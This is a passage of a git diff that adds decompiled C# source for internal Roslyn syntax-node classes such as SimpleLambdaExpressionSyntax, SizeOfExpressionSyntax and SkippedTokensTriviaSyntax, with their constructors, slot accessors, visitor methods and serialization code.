simpleBaseTypeSyntax = GreenNodeExtensions.WithDiagnosticsGreen(simpleBaseTypeSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + simpleBaseTypeSyntax = GreenNodeExtensions.WithAnnotationsGreen(simpleBaseTypeSyntax, (IEnumerable)annotations); + } + return simpleBaseTypeSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new SimpleBaseTypeSyntax(base.Kind, type, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new SimpleBaseTypeSyntax(base.Kind, type, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal SimpleBaseTypeSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 1; + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)type); + } + + static SimpleBaseTypeSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(SimpleBaseTypeSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new SimpleBaseTypeSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SimpleLambdaExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SimpleLambdaExpressionSyntax.cs new file mode 100644 index 0000000..6532dd4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SimpleLambdaExpressionSyntax.cs @@ -0,0 +1,245 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class SimpleLambdaExpressionSyntax : LambdaExpressionSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly GreenNode? modifiers; + + internal readonly ParameterSyntax parameter; + + internal readonly SyntaxToken arrowToken; + + internal readonly BlockSyntax? block; + + internal readonly ExpressionSyntax? expressionBody; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public override SyntaxList Modifiers => new SyntaxList(modifiers); + + public ParameterSyntax Parameter => parameter; + + public override SyntaxToken ArrowToken => arrowToken; + + public override BlockSyntax? Block => block; + + public override ExpressionSyntax? ExpressionBody => expressionBody; + + internal SimpleLambdaExpressionSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, ParameterSyntax parameter, SyntaxToken arrowToken, BlockSyntax? block, ExpressionSyntax? expressionBody, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 6; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameter); + this.parameter = parameter; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)arrowToken); + this.arrowToken = arrowToken; + if (block != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)block); + this.block = block; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + } + + internal SimpleLambdaExpressionSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, ParameterSyntax parameter, SyntaxToken arrowToken, BlockSyntax? block, ExpressionSyntax? expressionBody, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 6; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameter); + this.parameter = parameter; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)arrowToken); + this.arrowToken = arrowToken; + if (block != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)block); + this.block = block; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + } + + internal SimpleLambdaExpressionSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, ParameterSyntax parameter, SyntaxToken arrowToken, BlockSyntax? block, ExpressionSyntax? expressionBody) + : base(kind) + { + ((GreenNode)this).SlotCount = 6; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameter); + this.parameter = parameter; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)arrowToken); + this.arrowToken = arrowToken; + if (block != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)block); + this.block = block; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => modifiers, + 2 => parameter, + 3 => arrowToken, + 4 => block, + 5 => expressionBody, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.SimpleLambdaExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitSimpleLambdaExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitSimpleLambdaExpression(this); + } + + public SimpleLambdaExpressionSyntax Update(SyntaxList attributeLists, SyntaxList modifiers, ParameterSyntax parameter, SyntaxToken arrowToken, BlockSyntax block, ExpressionSyntax expressionBody) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || parameter != Parameter || arrowToken != ArrowToken || block != Block || expressionBody != ExpressionBody) + { + SimpleLambdaExpressionSyntax simpleLambdaExpressionSyntax = SyntaxFactory.SimpleLambdaExpression(attributeLists, modifiers, parameter, arrowToken, block, expressionBody); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + simpleLambdaExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(simpleLambdaExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + simpleLambdaExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(simpleLambdaExpressionSyntax, (IEnumerable)annotations); + } + return simpleLambdaExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new SimpleLambdaExpressionSyntax(base.Kind, attributeLists, modifiers, parameter, arrowToken, block, expressionBody, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new SimpleLambdaExpressionSyntax(base.Kind, attributeLists, modifiers, parameter, arrowToken, block, expressionBody, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal SimpleLambdaExpressionSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 6; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + modifiers = val2; + } + ParameterSyntax parameterSyntax = (ParameterSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterSyntax); + parameter = parameterSyntax; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + arrowToken = syntaxToken; + BlockSyntax blockSyntax = (BlockSyntax)reader.ReadValue(); + if (blockSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)blockSyntax); + block = blockSyntax; + } + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + if (expressionSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expressionBody = expressionSyntax; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)modifiers); + writer.WriteValue((IObjectWritable)(object)parameter); + writer.WriteValue((IObjectWritable)(object)arrowToken); + writer.WriteValue((IObjectWritable)(object)block); + writer.WriteValue((IObjectWritable)(object)expressionBody); + } + + static SimpleLambdaExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(SimpleLambdaExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new SimpleLambdaExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SimpleNameSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SimpleNameSyntax.cs new file mode 100644 index 0000000..609be66 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SimpleNameSyntax.cs @@ -0,0 +1,23 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class SimpleNameSyntax : NameSyntax +{ + public abstract SyntaxToken Identifier { get; } + + internal SimpleNameSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal SimpleNameSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected SimpleNameSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SingleVariableDesignationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SingleVariableDesignationSyntax.cs new file mode 100644 index 0000000..397f040 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SingleVariableDesignationSyntax.cs @@ -0,0 +1,111 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class SingleVariableDesignationSyntax : VariableDesignationSyntax +{ + internal readonly SyntaxToken identifier; + + public SyntaxToken Identifier => identifier; + + internal SingleVariableDesignationSyntax(SyntaxKind kind, SyntaxToken identifier, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + } + + internal SingleVariableDesignationSyntax(SyntaxKind kind, SyntaxToken identifier, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + } + + internal SingleVariableDesignationSyntax(SyntaxKind kind, SyntaxToken identifier) + : base(kind) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + } + + internal override GreenNode? GetSlot(int index) + { + if (index != 0) + { + return null; + } + return (GreenNode?)(object)identifier; + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.SingleVariableDesignationSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitSingleVariableDesignation(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitSingleVariableDesignation(this); + } + + public SingleVariableDesignationSyntax Update(SyntaxToken identifier) + { + if (identifier != Identifier) + { + SingleVariableDesignationSyntax singleVariableDesignationSyntax = SyntaxFactory.SingleVariableDesignation(identifier); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + singleVariableDesignationSyntax = GreenNodeExtensions.WithDiagnosticsGreen(singleVariableDesignationSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + singleVariableDesignationSyntax = GreenNodeExtensions.WithAnnotationsGreen(singleVariableDesignationSyntax, (IEnumerable)annotations); + } + return singleVariableDesignationSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new SingleVariableDesignationSyntax(base.Kind, identifier, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new SingleVariableDesignationSyntax(base.Kind, identifier, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal SingleVariableDesignationSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 1; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + identifier = syntaxToken; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)identifier); + } + + static SingleVariableDesignationSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(SingleVariableDesignationSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new SingleVariableDesignationSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SizeOfExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SizeOfExpressionSyntax.cs new file mode 100644 index 0000000..e99937e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SizeOfExpressionSyntax.cs @@ -0,0 +1,156 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class SizeOfExpressionSyntax : ExpressionSyntax +{ + internal readonly SyntaxToken keyword; + + internal readonly SyntaxToken openParenToken; + + internal readonly TypeSyntax type; + + internal readonly SyntaxToken closeParenToken; + + public SyntaxToken Keyword => keyword; + + public SyntaxToken OpenParenToken => openParenToken; + + public TypeSyntax Type => type; + + public SyntaxToken CloseParenToken => closeParenToken; + + internal SizeOfExpressionSyntax(SyntaxKind kind, SyntaxToken keyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken closeParenToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal SizeOfExpressionSyntax(SyntaxKind kind, SyntaxToken keyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken closeParenToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal SizeOfExpressionSyntax(SyntaxKind kind, SyntaxToken keyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken closeParenToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => keyword, + 1 => openParenToken, + 2 => type, + 3 => closeParenToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.SizeOfExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitSizeOfExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitSizeOfExpression(this); + } + + public SizeOfExpressionSyntax Update(SyntaxToken keyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken closeParenToken) + { + if (keyword != Keyword || openParenToken != OpenParenToken || type != Type || closeParenToken != CloseParenToken) + { + SizeOfExpressionSyntax sizeOfExpressionSyntax = SyntaxFactory.SizeOfExpression(keyword, openParenToken, type, closeParenToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + sizeOfExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(sizeOfExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + sizeOfExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(sizeOfExpressionSyntax, (IEnumerable)annotations); + } + return sizeOfExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new SizeOfExpressionSyntax(base.Kind, keyword, openParenToken, type, closeParenToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new SizeOfExpressionSyntax(base.Kind, keyword, openParenToken, type, closeParenToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal SizeOfExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + keyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + openParenToken = syntaxToken2; + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + closeParenToken = syntaxToken3; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)keyword); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)type); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + } + + static SizeOfExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(SizeOfExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new SizeOfExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SkippedTokensTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SkippedTokensTriviaSyntax.cs new file mode 100644 index 0000000..baf8573 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SkippedTokensTriviaSyntax.cs @@ -0,0 +1,129 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class SkippedTokensTriviaSyntax : StructuredTriviaSyntax +{ + internal readonly GreenNode? tokens; + + public SyntaxList Tokens => new SyntaxList(tokens); + + internal SkippedTokensTriviaSyntax(SyntaxKind kind, GreenNode? tokens, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 1; + if (tokens != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(tokens); + this.tokens = tokens; + } + } + + internal SkippedTokensTriviaSyntax(SyntaxKind kind, GreenNode? tokens, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 1; + if (tokens != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(tokens); + this.tokens = tokens; + } + } + + internal SkippedTokensTriviaSyntax(SyntaxKind kind, GreenNode? tokens) + : base(kind) + { + ((GreenNode)this).SlotCount = 1; + if (tokens != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(tokens); + this.tokens = tokens; + } + } + + internal override GreenNode? GetSlot(int index) + { + if (index != 0) + { + return null; + } + return tokens; + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.SkippedTokensTriviaSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitSkippedTokensTrivia(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitSkippedTokensTrivia(this); + } + + public SkippedTokensTriviaSyntax Update(SyntaxList tokens) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (tokens != Tokens) + { + SkippedTokensTriviaSyntax skippedTokensTriviaSyntax = SyntaxFactory.SkippedTokensTrivia(tokens); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + skippedTokensTriviaSyntax = GreenNodeExtensions.WithDiagnosticsGreen(skippedTokensTriviaSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + skippedTokensTriviaSyntax = GreenNodeExtensions.WithAnnotationsGreen(skippedTokensTriviaSyntax, (IEnumerable)annotations); + } + return skippedTokensTriviaSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new SkippedTokensTriviaSyntax(base.Kind, tokens, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new SkippedTokensTriviaSyntax(base.Kind, tokens, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal SkippedTokensTriviaSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 1; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + tokens = val; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)tokens); + } + + static SkippedTokensTriviaSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(SkippedTokensTriviaSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new SkippedTokensTriviaSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SlicePatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SlicePatternSyntax.cs new file mode 100644 index 0000000..b1ef68c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SlicePatternSyntax.cs @@ -0,0 +1,138 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class SlicePatternSyntax : PatternSyntax +{ + internal readonly SyntaxToken dotDotToken; + + internal readonly PatternSyntax? pattern; + + public SyntaxToken DotDotToken => dotDotToken; + + public PatternSyntax? Pattern => pattern; + + internal SlicePatternSyntax(SyntaxKind kind, SyntaxToken dotDotToken, PatternSyntax? pattern, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)dotDotToken); + this.dotDotToken = dotDotToken; + if (pattern != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)pattern); + this.pattern = pattern; + } + } + + internal SlicePatternSyntax(SyntaxKind kind, SyntaxToken dotDotToken, PatternSyntax? pattern, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)dotDotToken); + this.dotDotToken = dotDotToken; + if (pattern != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)pattern); + this.pattern = pattern; + } + } + + internal SlicePatternSyntax(SyntaxKind kind, SyntaxToken dotDotToken, PatternSyntax? pattern) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)dotDotToken); + this.dotDotToken = dotDotToken; + if (pattern != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)pattern); + this.pattern = pattern; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => dotDotToken, + 1 => pattern, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.SlicePatternSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitSlicePattern(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitSlicePattern(this); + } + + public SlicePatternSyntax Update(SyntaxToken dotDotToken, PatternSyntax pattern) + { + if (dotDotToken != DotDotToken || pattern != Pattern) + { + SlicePatternSyntax slicePatternSyntax = SyntaxFactory.SlicePattern(dotDotToken, pattern); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + slicePatternSyntax = GreenNodeExtensions.WithDiagnosticsGreen(slicePatternSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + slicePatternSyntax = GreenNodeExtensions.WithAnnotationsGreen(slicePatternSyntax, (IEnumerable)annotations); + } + return slicePatternSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new SlicePatternSyntax(base.Kind, dotDotToken, pattern, diagnostics, ((GreenNode)this).GetAnnotations()); + } 